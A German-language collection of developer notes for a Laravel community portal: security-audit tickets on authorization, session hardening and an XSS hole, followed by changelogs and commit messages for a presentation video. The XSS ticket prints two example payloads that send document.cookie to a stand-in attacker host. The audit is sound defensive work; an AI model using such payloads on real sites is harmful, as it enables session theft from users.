Die Ladezeiten der Bilder ist zu hoch, weil die Original geladen werden.
Bei /association/project-support lade in der Übersicht und in der Einzel-Ansicht /association/project-support/badgebox-for-nostr-manage-your-badges nur die Conversions der Bilder, also die kleinere Versionen.
## Security Audit: Fehlende zentralisierte Autorisierung
### Problem
Die Anwendung hat **keine Laravel Policy-Klassen**. Autorisierungslogik ist verstreut in:
- **Blade Templates:** Inline `@if`-Checks gegen `config('einundzwanzig.config.current_board')`
- **Livewire Trait:** `app/Livewire/Traits/WithNostrAuth.php` setzt `$isAllowed` und `$canEdit` Booleans
- **Component-Mount-Methoden:** z.B. in `project-support/form/create.blade.php` (Zeile 41-47)
Die Board-Member-Autorisierung funktioniert über einen Vergleich mit hartkodierten npubs in `config/einundzwanzig/config.php`:
```php
'current_board' => [
'npub1pt0kw36...', 'npub1gvqkjc...', // etc.
]
```
**Probleme:**
- Keine zentrale Stelle für Berechtigungsprüfungen
- Autorisierung kann leicht vergessen werden wenn neue Endpoints hinzukommen
- Board-Member-Check wird an vielen Stellen dupliziert
- Livewire-Actions können ggf. direkt aufgerufen werden ohne UI-seitige Prüfung
### Lösung
**1. Laravel Policies erstellen:**
```bash
php artisan make:policy ProjectProposalPolicy --model=ProjectProposal --no-interaction
php artisan make:policy VotePolicy --model=Vote --no-interaction
php artisan make:policy ElectionPolicy --model=Election --no-interaction
```
**2. Policy-Methoden implementieren:**
Für `ProjectProposalPolicy`:
- `viewAny()` – Jeder darf die Liste sehen
- `view()` – Jeder darf ein Proposal sehen
- `create()` – Nur authentifizierte User mit `association_status > 1` und bezahlter Mitgliedschaft im aktuellen Jahr
- `update()` – Nur der Ersteller ODER Board-Members
- `delete()` – Nur Board-Members
- `accept()` – Nur Board-Members (custom method für `accepted`-Flag)
Für `VotePolicy`:
- `create()` – Authentifizierte User, die noch nicht für dieses Proposal abgestimmt haben
- `update()` / `delete()` – Nur der eigene Vote
Für `ElectionPolicy`:
- `viewAny()` / `view()` – Jeder
- `create()` / `update()` / `delete()` – Nur Board-Members
- `vote()` – Authentifizierte Mitglieder mit gültigem Status
**3. Auth-Checks in der Nostr-Auth-Architektur:**
Die App nutzt eine Custom NostrAuth (`app/Support/NostrAuth.php`, `app/Auth/NostrUser.php`). Die Policies müssen mit `NostrUser` funktionieren. Prüfe ob `NostrUser` das `Authenticatable` Interface korrekt implementiert, damit `$this->authorize()` und `Gate::allows()` in Livewire-Components funktionieren.
**4. Policies in Livewire-Components nutzen:**
Ersetze die inline-Checks in den Components durch Policy-Aufrufe:
```php
// Vorher (verstreut in Blade/Component):
if (in_array($this->currentPleb->npub, config('einundzwanzig.config.current_board'), true)) { ... }
// Nachher (zentralisiert):
$this->authorize('update', $projectProposal);
```
### Betroffene Dateien
- **Neue Dateien:** `app/Policies/ProjectProposalPolicy.php`, `app/Policies/VotePolicy.php`, `app/Policies/ElectionPolicy.php`
- **Anpassen:** `app/Livewire/Traits/WithNostrAuth.php` – Board-Check in Policy auslagern
- **Anpassen:** Livewire-Components in `app/Livewire/Association/ProjectSupport/` – `$this->authorize()` nutzen
- **Anpassen:** Livewire-Components in `app/Livewire/Association/Election/` – `$this->authorize()` nutzen
- **Prüfen:** `app/Auth/NostrUser.php` – Kompatibilität mit Policy-System
- **Prüfen:** `config/einundzwanzig/config.php` – Board-Member-Liste wird weiterhin als Datenquelle genutzt
### Vorgehen
1. `search-docs` nutzen: `queries: ['policies', 'authorization', 'gates']` und `packages: ['laravel/framework']`
2. Prüfe wie `NostrUser` mit Laravel's Authorization-System zusammenspielt
3. Policies mit `php artisan make:policy` erstellen
4. Policy-Methoden implementieren (Board-Check-Logik zentralisieren)
5. Livewire-Components auf Policy-Aufrufe umstellen
6. Blade-Templates: `@can` / `@cannot` Directives nutzen statt inline `@if`
7. Pest Feature-Tests für jede Policy-Methode schreiben
8. `vendor/bin/pint --dirty` und `php artisan test --compact`
### Akzeptanzkriterien
- 3 Policy-Klassen existieren und sind registriert
- Board-Member-Check ist an EINER Stelle definiert (in Policy oder Helper)
- Livewire-Components nutzen `$this->authorize()` statt inline-Checks
- Blade-Templates nutzen `@can` / `@cannot` Directives
- Pest-Tests decken alle Policy-Methoden ab (allow & deny)
- Bestehende Funktionalität bleibt erhalten
## Security Audit: Session-Konfiguration härten
### Problem
Die aktuelle `.env.example` hat unsichere Session-Defaults:
```env
SESSION_ENCRYPT=false # Session-Daten unverschlüsselt in der DB
SESSION_SECURE_COOKIE= # Nicht gesetzt – Cookie wird auch über HTTP gesendet
SESSION_DOMAIN=null # Nicht eingeschränkt
```
Da die App eine Custom Nostr-basierte Auth verwendet (`app/Auth/NostrSessionGuard.php`) und der `pubkey` in der Session gespeichert wird, ist die Session ein attraktives Angriffsziel. Unverschlüsselte Sessions in der Datenbank bedeuten, dass ein DB-Leak sofort alle aktiven Sessions kompromittiert.
### Lösung
**1. `.env.example` aktualisieren:**
```env
SESSION_ENCRYPT=true
SESSION_SECURE_COOKIE=true
```
**2. Session-Config in `config/session.php` prüfen:**
Falls `config/session.php` nicht existiert (Laravel 12 Slim-Struktur), muss die Config ggf. mit `php artisan config:publish session` veröffentlicht werden. Prüfe ob die folgenden Werte korrekt gesetzt sind:
```php
'encrypt' => env('SESSION_ENCRYPT', true), // Default auf true ändern
'secure' => env('SESSION_SECURE_COOKIE', true), // Default auf true ändern
'http_only' => true, // Bereits Standard
'same_site' => 'lax', // Bereits Standard
```
**3. Cookie-Sicherheit:**
- `http_only` verhindert JavaScript-Zugriff auf Session-Cookies (Schutz gegen XSS-Cookie-Theft)
- `secure` erzwingt HTTPS-only Übertragung
- `same_site: lax` schützt gegen CSRF bei Top-Level-Navigation
### Betroffene Dateien
- `.env.example` – Default-Werte aktualisieren
- `config/session.php` – Falls vorhanden, Defaults härten. Falls nicht vorhanden, mit `php artisan config:publish session` erstellen und anpassen
### Vorgehen
1. Prüfe ob `config/session.php` existiert (bei Laravel 12 ist es möglicherweise nicht veröffentlicht)
2. Falls nicht vorhanden: `php artisan config:publish session --no-interaction`
3. Sichere Defaults setzen (encrypt=true, secure=true)
4. `.env.example` aktualisieren
5. Einen Pest-Test schreiben, der verifiziert dass Session-Cookies die korrekten Flags haben (secure, httpOnly, sameSite)
6. `vendor/bin/pint --dirty` und `php artisan test --compact`
### Hinweis
- In der lokalen Entwicklung (`APP_ENV=local`) kann `SESSION_SECURE_COOKIE=false` gesetzt werden, damit HTTP funktioniert
- Der Default in der Config sollte aber `true` sein, damit Produktion abgesichert ist
- Die `.env` Datei selbst wird NICHT bearbeitet (nur `.env.example`)
### Akzeptanzkriterien
- `SESSION_ENCRYPT=true` als Default in `.env.example`
- `SESSION_SECURE_COOKIE=true` als Default in `.env.example`
- Session-Config verwendet sichere Defaults
- Tests verifizieren Cookie-Sicherheitsflags
- Lokale Entwicklung bleibt funktional (über `.env` Override)
## Security Audit: Cross-Site Scripting (XSS) in ProjectProposal Description
### Problem
In `resources/views/livewire/association/project-support/show.blade.php` Zeile 111 wird User-generierter Content **unescaped** ausgegeben:
```blade
<x-markdown>
{!! $projectProposal->description !!}
</x-markdown>
```
**Angriffsvektor:** Jeder authentifizierte User mit `association_status > 1` und bezahlter Mitgliedschaft kann über `resources/views/livewire/association/project-support/form/create.blade.php` einen ProjectProposal erstellen. Das Feld `description` wird nur mit `required|string|min:5` validiert – kein HTML-Sanitizing. Ein Angreifer kann beliebiges JavaScript injizieren:
```html
<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
<img src=x onerror="fetch('https://evil.com/'+document.cookie)">
```
Die App nutzt Spatie's `laravel-markdown` (League\CommonMark), das standardmäßig inline HTML **nicht** filtert.
### Lösung
**Option A (empfohlen): HTML Purifier im Markdown-Renderer konfigurieren**
1. In `config/markdown.php` die CommonMark-Konfiguration anpassen, um `allow_unsafe_links` auf `false` zu setzen und `html_input` auf `'escape'` oder `'strip'`
2. Prüfe die aktuelle `config/markdown.php` – dort wird der `Spatie\LaravelMarkdown\MarkdownRenderer` konfiguriert
3. Setze in der CommonMark-Konfiguration:
```php
'commonmark' => [
'html_input' => 'escape', // oder 'strip' – verhindert rohen HTML-Output
'allow_unsafe_links' => false,
],
```
**Option B: Input-Sanitization bei Speicherung**
1. In `app/Livewire/Forms/ProjectProposalForm.php` (oder dem Create-Component) vor dem Speichern den HTML-Content mit `strip_tags()` oder besser einem HTML Purifier bereinigen
2. Das Flux `<flux:editor>` Component erzeugt möglicherweise gültiges HTML – prüfe, welches Format in der DB gespeichert wird
**Option C: Output-Escaping**
1. Ersetze `{!! $projectProposal->description !!}` durch `{{ $projectProposal->description }}` wenn nur Plain-Text benötigt wird
2. Falls Markdown benötigt wird, nutze die sichere Markdown-Rendering-Pipeline
### Betroffene Dateien
- `resources/views/livewire/association/project-support/show.blade.php:111` – XSS-Output
- `resources/views/livewire/association/project-support/form/create.blade.php` – Input ohne Sanitization
- `app/Livewire/Forms/ProjectProposalForm.php` – Validation Rules (falls vorhanden)
- `config/markdown.php` – CommonMark Konfiguration
### Zusätzlich prüfen
Scanne alle anderen `{!! !!}` Stellen in `resources/views/livewire/` (NICHT in `resources/views/flux/` – das sind Framework-Dateien). Aktuell ist nur `show.blade.php:111` betroffen, aber prüfe ob es weitere gibt.
### Vorgehen
1. `config/markdown.php` lesen und die CommonMark-Config auf `'html_input' => 'escape'` setzen
2. Prüfen, ob die Änderung den gewünschten Effekt hat (Markdown wird gerendert, HTML wird escaped)
3. Einen Pest Browser-Test oder Feature-Test schreiben, der verifiziert, dass `<script>` Tags in der Description escaped werden
4. `vendor/bin/pint --dirty` ausführen
5. Bestehende Tests laufen lassen
### Akzeptanzkriterien
- `<script>` und andere HTML-Tags in ProjectProposal descriptions werden escaped oder gestrippt
- Markdown-Formatierung (Bold, Links, Listen) funktioniert weiterhin
- Ein Test verifiziert, dass XSS-Payloads nicht ausgeführt werden
- Keine Regression in der Darstellung bestehender Proposals
- ✨ Update `composer.lock` and `.junie/guidelines.md` to include new versions for Pest v4, PHPUnit v12, Laravel framework (v12.51.0), and other dependencies.
- 📚 Add Pest v4 specific rules for browser testing, smoke testing, and visual regression tests to documentation.
- 🛠 Refactor related configs for upgraded dependency compatibility, ensuring cleaner and faster development debugging.
- 🗑️ Eliminate `docker-compose.yml`, Dockerfiles, and related assets.
- 🎯 Transition Sail commands to native `php`, simplifying development and deployment.
- 📦 Remove `laravel/sail` dependency from `composer.json` and update lockfile accordingly.
- ⚙️ Refactor environment configurations and tooling to decouple from Sail-specific commands.
- 🔗 Adjust `.env` and various scripts for updated database and application connections.
- 📤 Add support for `reverb` broadcasting in `.env`.
- 🚀 Streamline developer workflow with simplified setup and new dev server integration in `composer.json`.
- 🛡️ Introduce `SecurityMonitor` service for tampering and malicious activity detection.
- 🏷️ Add `SecurityAttempt` model and migration to log, categorize, and query security attempts.
- 🖥️ Create `SecurityAttemptsCommand` for filtering, statistics, and top IP analysis.
- ✅ Add extensive tests to ensure the reliability of security monitoring and logging.
- 🔗 Integrate `SecurityMonitor` into the exception handling pipeline for real-time monitoring.
- 🧹 Prune duplicate `payment_events` before adding the unique index in migration
- ✅ Add tests to verify invoice management, expiration handling, and payment status updates
- ⚙️ Refactor invoice management flow with `resolveCurrentPaymentEvent` and status syncing logic
- 🎨 Enhance UI for invoice status with dynamic messages, labels, and expiration info
- 🗂️ Change default filesystem disk from `local` to `private` in configuration
- 📤 Use `Storage::disk` for media download and response functionality
- ⚙️ Refactor download and file response logic for improved security and consistency
- 🆕 Introduce `selectedCategory` state with URL binding for category filtering
- 🪄 Add computed `filteredNews` property to handle filtered results efficiently
- 🎛️ Implement category toggle buttons and "Clear Filter" functionality in UI
- 🌟 Improve category display with badges and contextual feedback for empty states
- 🔄 Refactor repeated news loading into a single `loadNews` method
- ✅ Introduce `getSignedMediaUrl` in models for temporary signed URLs
- 🗂️ Migrate media collections to private disk for added security
- 🔧 Add `media:move-to-private` command to streamline migration
- ⚙️ Update views and components to use signed media URLs
- ✏️ Adjust route `media.signed` for signed file access handling
- 🕰️ Increase PortalOutroScene duration to 30 seconds for cinematic effect
- ✏️ Add LogoMatrix3DMobile component for a dynamic 3D logo display
- 🔄 Adjust animations, glow, and opacity for smoother transitions
- 🎵 Replace outdated audio timings, add precise frame-based sync for "logo-whoosh" and "final-chime"
- 💡 Update text and subtitle styles: larger fonts and adjusted colors for better readability
- 🔧 Update tests and configs for new scene duration and animations
- Update DashboardOverviewScene to use einundzwanzig-square-inverted.svg
instead of non-existent einundzwanzig-logo.png
- Fix MeetupShowcaseScene logo extensions: EinundzwanzigKempten.jpg and
EinundzwanzigMemmingen.jpg (were incorrectly .png)
- Fix TopMeetupsScene logo extensions: EinundzwanzigKempten.jpg and
EinundzwanzigTrier.jpg (were incorrectly .png)
- Update corresponding mobile scenes with same fixes
- Update test file expectations to match corrected extensions
These fixes enable successful full render of both PortalPresentation
(1920x1080) and PortalPresentationMobile (1080x1920) compositions.
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
Replace placeholder with actual CountryStatsScene (Scene 5) in
PortalPresentation, remove unused PlaceholderScene component,
add missing mock for CountryStatsScene in tests, and fix
PortalPresentationMobile tests to mock correct mobile scene
components.
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
Add comprehensive audio synchronization configuration and testing:
- Create AudioSyncConfig types for audio events, background music,
and scene audio configurations
- Define audio timing for all 9 scenes with frame-accurate sync points
- Add utilities for absolute frame calculation, volume interpolation,
and sync verification with tolerance support
- Include 94 tests covering timing calculations, overlap detection,
volume consistency, and frame-accurate sync point verification
The new audioSync.ts provides a centralized source of truth for all
audio-visual synchronization, enabling automated verification of
audio timing accuracy across the Portal Presentation composition.
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
Add comprehensive tests for RemotionRoot component to verify:
- PortalPresentationMobile is registered in Portal folder
- Mobile composition has correct dimensions (1080x1920)
- All compositions have correct fps and duration settings
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
- Create PortalPresentationMobile.tsx for portrait mobile resolution
- Register PortalPresentationMobile composition in Root.tsx
- Add comprehensive tests for the mobile composition
- Reuse existing portal scenes which adapt via useVideoConfig()
- Mobile version has same scene structure and timing as desktop
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
- Add test suite for PortalPresentation main composition
- Verify PortalAudioManager renders with background music
- Test all 9 scene sequences are rendered in correct order
- Verify scene timing totals 90 seconds (2700 frames at 30fps)
- Test audio integration including loop and volume settings
- Confirm premountFor is set correctly for all scenes
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
- Add PortalAudioManager.tsx with background music fade in/out
- 1 second fade-in at the beginning
- 3 second fade-out at the end
- Base volume at 0.25 (25%)
- Integrate PortalAudioManager into PortalPresentation
- Add PortalOutroScene to PortalPresentation (was using placeholder)
- Add comprehensive tests for PortalAudioManager (13 tests)
- Tests for volume at various frames
- Tests for fade-in/fade-out behavior
- Integration tests
Scene-specific SFX remain in individual scene components for
better timing accuracy and maintainability.
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
- Implement 12-second outro scene with wallpaper background
- Add horizontal EINUNDZWANZIG logo with glow pulse effect
- Include BitcoinEffect particles throughout the scene
- Add "EINUNDZWANZIG" title and subtitle animations
- Include final-chime audio effect at logo appearance
- Add final 2-second fade out for smooth ending
- Include comprehensive test suite with 21 tests
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
Implements Scene 8 of the Portal Presentation video:
- Dashboard blur and zoom out animation
- Glassmorphism overlay with spring entrance
- "Werde Teil der Community" title with bounce animation
- URL typing animation: portal.einundzwanzig.space
- Orange pulsing glow effect on URL after typing completes
- EINUNDZWANZIG logo with animated glow
- Audio: success-fanfare, typing, url-emphasis, logo-reveal
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
Implements the Activity Feed scene for the Einundzwanzig Portal
presentation video. Features include:
- 3D perspective entrance animation with smooth transitions
- "Aktivitäten" header with pulsing LIVE indicator
- 4 activity items with staggered slide-in animations:
- EINUNDZWANZIG Kempten (vor 13 Stunden)
- EINUNDZWANZIG Darmstadt (vor 21 Stunden)
- EINUNDZWANZIG Vulkaneifel (vor 2 Tagen)
- BitcoinWalk Würzburg (vor 2 Tagen)
- "Neuer Termin" badge with bounce animation
- Audio: button-click.mp3 per item, slide-in.mp3 for entrance
- Uses existing ActivityItem component for consistent styling
- Comprehensive test suite with 24 tests
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
Implements Scene 6 of the Portal presentation video, showcasing the top 5
most active Einundzwanzig meetups with animated rankings, sparkline charts,
and progress bars. Features 3D perspective entrance, staggered item animations,
and audio cues.
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>